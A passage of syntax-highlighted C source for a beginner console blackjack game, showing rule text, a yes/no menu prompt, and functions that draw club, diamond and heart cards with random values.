</span></span><span class="line"><span class="ln">187</span><span class="cl">     <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">     After the dealing of the first two cards, YOU must decide whether to HIT or STAY.&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">188</span><span class="cl">     <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">      %c Staying will keep you safe, hitting will add a card.&#34;</span><span class="p">,</span> <span class="n">spade</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">189</span><span class="cl">     <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">     Because you are competing against the dealer, you must beat his hand.&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">190</span><span class="cl">     <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">     BUT BEWARE!.&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">191</span><span class="cl">     <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">      %c If your total goes over 21, you will LOSE!.&#34;</span><span class="p">,</span> <span class="n">diamond</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">192</span><span class="cl">     <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">     But the world is not over, because you can always play again.</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">193</span><span class="cl">     <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">%c%c%c YOUR RESULTS ARE RECORDED AND FOUND IN SAME FOLDER AS PROGRAM %c%c%c</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">spade</span><span class="p">,</span> <span class="n">heart</span><span class="p">,</span> <span class="n">club</span><span class="p">,</span> <span class="n">club</span><span class="p">,</span> <span class="n">heart</span><span class="p">,</span> <span class="n">spade</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">194</span><span class="cl">     <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">Would you like to go the previous screen? (I will not take NO for an answer)&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">195</span><span class="cl">     <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">                  (Y/N)</span><span class="se">\n</span><span class="s">                    &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">196</span><span class="cl">
</span></span><span class="line"><span class="ln">197</span><span class="cl">     <span class="nf">scanf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">%c&#34;</span><span class="p">,</span><span class="o">&amp;</span><span class="n">choice1</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">198</span><span class="cl">      
</span></span><span class="line"><span class="ln">199</span><span class="cl">    <span class="k">while</span><span class="p">((</span><span class="n">choice1</span><span class="o">!=</span><span class="sc">&#39;Y&#39;</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="p">(</span><span class="n">choice1</span><span class="o">!=</span><span class="sc">&#39;y&#39;</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="p">(</span><span class="n">choice1</span><span class="o">!=</span><span class="sc">&#39;N&#39;</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="p">(</span><span class="n">choice1</span><span class="o">!=</span><span class="sc">&#39;n&#39;</span><span class="p">))</span> <span class="c1">// If invalid choice entered
</span></span></span><span class="line"><span class="ln">200</span><span class="cl">    <span class="p">{</span>                                                                           
</span></span><span class="line"><span class="ln">201</span><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">202</span><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;Incorrect Choice. Please Enter Y for Yes or N for No.</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">203</span><span class="cl">        <span class="nf">scanf</span><span class="p">(</span><span class="s">&#34;%c&#34;</span><span class="p">,</span><span class="o">&amp;</span><span class="n">choice1</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">204</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">205</span><span class="cl"> 
</span></span><span class="line"><span class="ln">206</span><span class="cl"> 
</span></span><span class="line"><span class="ln">207</span><span class="cl">    <span class="k">if</span><span class="p">((</span><span class="n">choice1</span> <span class="o">==</span> <span class="sc">&#39;Y&#39;</span><span class="p">)</span> <span class="o">||</span> <span class="p">(</span><span class="n">choice1</span> <span class="o">==</span> <span class="sc">&#39;y&#39;</span><span class="p">))</span> <span class="c1">// If yes, continue. Prints menu.
</span></span></span><span class="line"><span class="ln">208</span><span class="cl">    <span class="p">{</span> 
</span></span><span class="line"><span class="ln">209</span><span class="cl">            <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\033</span><span class="s">[2J</span><span class="se">\033</span><span class="s">[1;1H&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">210</span><span class="cl">            <span class="nf">asktitle</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">211</span><span class="cl">    <span class="p">}</span> <span class="c1">// End if loop
</span></span></span><span class="line"><span class="ln">212</span><span class="cl">    
</span></span><span class="line"><span class="ln">213</span><span class="cl">             
</span></span><span class="line"><span class="ln">214</span><span class="cl"> 
</span></span><span class="line"><span class="ln">215</span><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">((</span><span class="n">choice1</span> <span class="o">==</span> <span class="sc">&#39;N&#39;</span><span class="p">)</span> <span class="o">||</span> <span class="p">(</span><span class="n">choice1</span> <span class="o">==</span> <span class="sc">&#39;n&#39;</span><span class="p">))</span> <span class="c1">// If no, convinces user to enter yes
</span></span></span><span class="line"><span class="ln">216</span><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="ln">217</span><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\033</span><span class="s">[2J</span><span class="se">\033</span><span class="s">[1;1H&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">218</span><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">                 I told you so.</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">219</span><span class="cl">        <span class="nf">asktitle</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">220</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">221</span><span class="cl">     
</span></span><span class="line"><span class="ln">222</span><span class="cl">    <span class="k">return</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">223</span><span class="cl"><span class="p">}</span> <span class="c1">// End function
</span></span></span><span class="line"><span class="ln">224</span><span class="cl"> 
</span></span><span class="line"><span class="ln">225</span><span class="cl"><span class="kt">int</span> <span class="nf">clubcard</span><span class="p">()</span> <span class="c1">//Displays Club Card Image
</span></span></span><span class="line"><span class="ln">226</span><span class="cl"><span class="p">{</span>  
</span></span><span class="line"><span class="ln">227</span><span class="cl">   
</span></span><span class="line"><span class="ln">228</span><span class="cl">    <span class="nf">srand</span><span class="p">((</span><span class="kt">unsigned</span><span class="p">)</span> <span class="nf">time</span><span class="p">(</span><span class="nb">NULL</span><span class="p">));</span> <span class="c1">//Generates random seed for rand() function
</span></span></span><span class="line"><span class="ln">229</span><span class="cl">    <span class="n">k</span><span class="o">=</span><span class="nf">rand</span><span class="p">()</span><span class="o">%</span><span class="mi">13</span><span class="o">+</span><span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">230</span><span class="cl">     
</span></span><span class="line"><span class="ln">231</span><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="n">k</span><span class="o">&lt;=</span><span class="mi">9</span><span class="p">)</span> <span class="c1">//If random number is 9 or less, print card with that number
</span></span></span><span class="line"><span class="ln">232</span><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="ln">233</span><span class="cl">    <span class="c1">//Club Card
</span></span></span><span class="line"><span class="ln">234</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;-------</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">235</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;|%c    |</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">club</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">236</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;|  %d  |</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">k</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">237</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;|    %c|</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">club</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">238</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;-------</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">239</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">240</span><span class="cl">     
</span></span><span class="line"><span class="ln">241</span><span class="cl">     
</span></span><span class="line"><span class="ln">242</span><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="n">k</span><span class="o">==</span><span class="mi">10</span><span class="p">)</span> <span class="c1">//If random number is 10, print card with J (Jack) on face
</span></span></span><span class="line"><span class="ln">243</span><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="ln">244</span><span class="cl">    <span class="c1">//Club Card
</span></span></span><span class="line"><span class="ln">245</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;-------</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">246</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;|%c    |</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">club</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">247</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;|  J  |</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">248</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;|    %c|</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">club</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">249</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;-------</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">250</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">251</span><span class="cl">     
</span></span><span class="line"><span class="ln">252</span><span class="cl">     
</span></span><span class="line"><span class="ln">253</span><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="n">k</span><span class="o">==</span><span class="mi">11</span><span class="p">)</span> <span class="c1">//If random number is 11, print card with A (Ace) on face
</span></span></span><span class="line"><span class="ln">254</span><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="ln">255</span><span class="cl">    <span class="c1">//Club Card
</span></span></span><span class="line"><span class="ln">256</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;-------</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">257</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;|%c    |</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">club</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">258</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;|  A  |</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">259</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;|    %c|</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">club</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">260</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;-------</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">261</span><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="n">player_total</span><span class="o">&lt;=</span><span class="mi">10</span><span class="p">)</span> <span class="c1">//If random number is Ace, change value to 11 or 1 depending on dealer total
</span></span></span><span class="line"><span class="ln">262</span><span class="cl">         <span class="p">{</span>
</span></span><span class="line"><span class="ln">263</span><span class="cl">             <span class="n">k</span><span class="o">=</span><span class="mi">11</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">264</span><span class="cl">         <span class="p">}</span>
</span></span><span class="line"><span class="ln">265</span><span class="cl">          
</span></span><span class="line"><span class="ln">266</span><span class="cl">         <span class="k">else</span>
</span></span><span class="line"><span class="ln">267</span><span class="cl">         <span class="p">{</span>
</span></span><span class="line"><span class="ln">268</span><span class="cl"> 
</span></span><span class="line"><span class="ln">269</span><span class="cl">             <span class="n">k</span><span class="o">=</span><span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">270</span><span class="cl">         <span class="p">}</span>
</span></span><span class="line"><span class="ln">271</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">272</span><span class="cl">     
</span></span><span class="line"><span class="ln">273</span><span class="cl">     
</span></span><span class="line"><span class="ln">274</span><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="n">k</span><span class="o">==</span><span class="mi">12</span><span class="p">)</span> <span class="c1">//If random number is 12, print card with Q (Queen) on face
</span></span></span><span class="line"><span class="ln">275</span><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="ln">276</span><span class="cl">    <span class="c1">//Club Card
</span></span></span><span class="line"><span class="ln">277</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;-------</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">278</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;|%c    |</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">club</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">279</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;|  Q  |</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">280</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;|    %c|</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">club</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">281</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;-------</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">282</span><span class="cl">    <span class="n">k</span><span class="o">=</span><span class="mi">10</span><span class="p">;</span> <span class="c1">//Set card value to 10
</span></span></span><span class="line"><span class="ln">283</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">284</span><span class="cl">     
</span></span><span class="line"><span class="ln">285</span><span class="cl">     
</span></span><span class="line"><span class="ln">286</span><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="n">k</span><span class="o">==</span><span class="mi">13</span><span class="p">)</span> <span class="c1">//If random number is 13, print card with K (King) on face
</span></span></span><span class="line"><span class="ln">287</span><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="ln">288</span><span class="cl">    <span class="c1">//Club Card
</span></span></span><span class="line"><span class="ln">289</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;-------</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">290</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;|%c    |</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">club</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">291</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;|  K  |</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">292</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;|    %c|</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">club</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">293</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;-------</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">294</span><span class="cl">    <span class="n">k</span><span class="o">=</span><span class="mi">10</span><span class="p">;</span> <span class="c1">//Set card value to 10
</span></span></span><span class="line"><span class="ln">295</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">296</span><span class="cl">    <span class="k">return</span> <span class="n">k</span><span class="p">;</span>           
</span></span><span class="line"><span class="ln">297</span><span class="cl"><span class="p">}</span><span class="c1">// End function
</span></span></span><span class="line"><span class="ln">298</span><span class="cl"> 
</span></span><span class="line"><span class="ln">299</span><span class="cl"><span class="kt">int</span> <span class="nf">diamondcard</span><span class="p">()</span> <span class="c1">//Displays Diamond Card Image
</span></span></span><span class="line"><span class="ln">300</span><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="ln">301</span><span class="cl">     
</span></span><span class="line"><span class="ln">302</span><span class="cl">    <span class="nf">srand</span><span class="p">((</span><span class="kt">unsigned</span><span class="p">)</span> <span class="nf">time</span><span class="p">(</span><span class="nb">NULL</span><span class="p">));</span> <span class="c1">//Generates random seed for rand() function
</span></span></span><span class="line"><span class="ln">303</span><span class="cl">    <span class="n">k</span><span class="o">=</span><span class="nf">rand</span><span class="p">()</span><span class="o">%</span><span class="mi">13</span><span class="o">+</span><span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">304</span><span class="cl">     
</span></span><span class="line"><span class="ln">305</span><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="n">k</span><span class="o">&lt;=</span><span class="mi">9</span><span class="p">)</span> <span class="c1">//If random number is 9 or less, print card with that number
</span></span></span><span class="line"><span class="ln">306</span><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="ln">307</span><span class="cl">    <span class="c1">//Diamond Card
</span></span></span><span class="line"><span class="ln">308</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;-------</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">309</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;|%c    |</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">diamond</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">310</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;|  %d  |</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">k</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">311</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;|    %c|</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">diamond</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">312</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;-------</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">313</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">314</span><span class="cl">     
</span></span><span class="line"><span class="ln">315</span><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="n">k</span><span class="o">==</span><span class="mi">10</span><span class="p">)</span> <span class="c1">//If random number is 10, print card with J (Jack) on face
</span></span></span><span class="line"><span class="ln">316</span><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="ln">317</span><span class="cl">    <span class="c1">//Diamond Card
</span></span></span><span class="line"><span class="ln">318</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;-------</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">319</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;|%c    |</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">diamond</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">320</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;|  J  |</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">321</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;|    %c|</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">diamond</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">322</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;-------</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">323</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">324</span><span class="cl">     
</span></span><span class="line"><span class="ln">325</span><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="n">k</span><span class="o">==</span><span class="mi">11</span><span class="p">)</span> <span class="c1">//If random number is 11, print card with A (Ace) on face
</span></span></span><span class="line"><span class="ln">326</span><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="ln">327</span><span class="cl">    <span class="c1">//Diamond Card
</span></span></span><span class="line"><span class="ln">328</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;-------</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">329</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;|%c    |</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">diamond</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">330</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;|  A  |</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">331</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;|    %c|</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">diamond</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">332</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;-------</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">333</span><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="n">player_total</span><span class="o">&lt;=</span><span class="mi">10</span><span class="p">)</span> <span class="c1">//If random number is Ace, change value to 11 or 1 depending on dealer total
</span></span></span><span class="line"><span class="ln">334</span><span class="cl">         <span class="p">{</span>
</span></span><span class="line"><span class="ln">335</span><span class="cl">             <span class="n">k</span><span class="o">=</span><span class="mi">11</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">336</span><span class="cl">         <span class="p">}</span>
</span></span><span class="line"><span class="ln">337</span><span class="cl">          
</span></span><span class="line"><span class="ln">338</span><span class="cl">         <span class="k">else</span>
</span></span><span class="line"><span class="ln">339</span><span class="cl">         <span class="p">{</span>
</span></span><span class="line"><span class="ln">340</span><span class="cl">             <span class="n">k</span><span class="o">=</span><span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">341</span><span class="cl">         <span class="p">}</span>
</span></span><span class="line"><span class="ln">342</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">343</span><span class="cl">     
</span></span><span class="line"><span class="ln">344</span><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="n">k</span><span class="o">==</span><span class="mi">12</span><span class="p">)</span> <span class="c1">//If random number is 12, print card with Q (Queen) on face
</span></span></span><span class="line"><span class="ln">345</span><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="ln">346</span><span class="cl">    <span class="c1">//Diamond Card
</span></span></span><span class="line"><span class="ln">347</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;-------</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">348</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;|%c    |</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">diamond</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">349</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;|  Q  |</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">350</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;|    %c|</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">diamond</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">351</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;-------</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">352</span><span class="cl">    <span class="n">k</span><span class="o">=</span><span class="mi">10</span><span class="p">;</span> <span class="c1">//Set card value to 10
</span></span></span><span class="line"><span class="ln">353</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">354</span><span class="cl">     
</span></span><span class="line"><span class="ln">355</span><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="n">k</span><span class="o">==</span><span class="mi">13</span><span class="p">)</span> <span class="c1">//If random number is 13, print card with K (King) on face
</span></span></span><span class="line"><span class="ln">356</span><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="ln">357</span><span class="cl">    <span class="c1">//Diamond Card
</span></span></span><span class="line"><span class="ln">358</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;-------</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">359</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;|%c    |</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">diamond</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">360</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;|  K  |</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">361</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;|    %c|</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">diamond</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">362</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;-------</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">363</span><span class="cl">    <span class="n">k</span><span class="o">=</span><span class="mi">10</span><span class="p">;</span> <span class="c1">//Set card value to 10
</span></span></span><span class="line"><span class="ln">364</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">365</span><span class="cl">    <span class="k">return</span> <span class="n">k</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">366</span><span class="cl"><span class="p">}</span><span class="c1">// End function
</span></span></span><span class="line"><span class="ln">367</span><span class="cl"> 
</span></span><span class="line"><span class="ln">368</span><span class="cl"><span class="kt">int</span> <span class="nf">heartcard</span><span class="p">()</span> <span class="c1">//Displays Heart Card Image
</span></span></span><span class="line"><span class="ln">369</span><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="ln">370</span><span class="cl">     
</span></span><span class="line"><span class="ln">371</span><span class="cl">    <span class="nf">srand</span><span class="p">((</span><span class="kt">unsigned</span><span class="p">)</span> <span class="nf">time</span><span class="p">(</span><span class="nb">NULL</span><span class="p">));</span> <span class="c1">//Generates random seed for rand() function
</span></span></span><span class="line"><span class="ln">372</span><span class="cl">    <span class="n">k</span><span class="o">=</span><span class="nf">rand</span><span class="p">()</span><span class="o">%</span><span class="mi">13</span><span class="o">+</span><span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">373</span><span class="cl">     
</span></span><span class="line"><span class="ln">374</span><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="n">k</span><span class="o">&lt;=</span><span class="mi">9</span><span class="p">)</span> <span class="c1">//If random number is 9 or less, print card with that number
</span></span></span><span class="line"><span class="ln">375</span><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="ln">376</span><span class="cl">    <span class="c1">//Heart Card
</span></span></span><span class="line"><span class="ln">377</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;-------</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">378</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;|%c    |</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">heart</span><span class="p">);</span> 
</span></span><span class="line"><span class="ln">379</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;|  %d  |</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">k</span><span class="p">);</span>
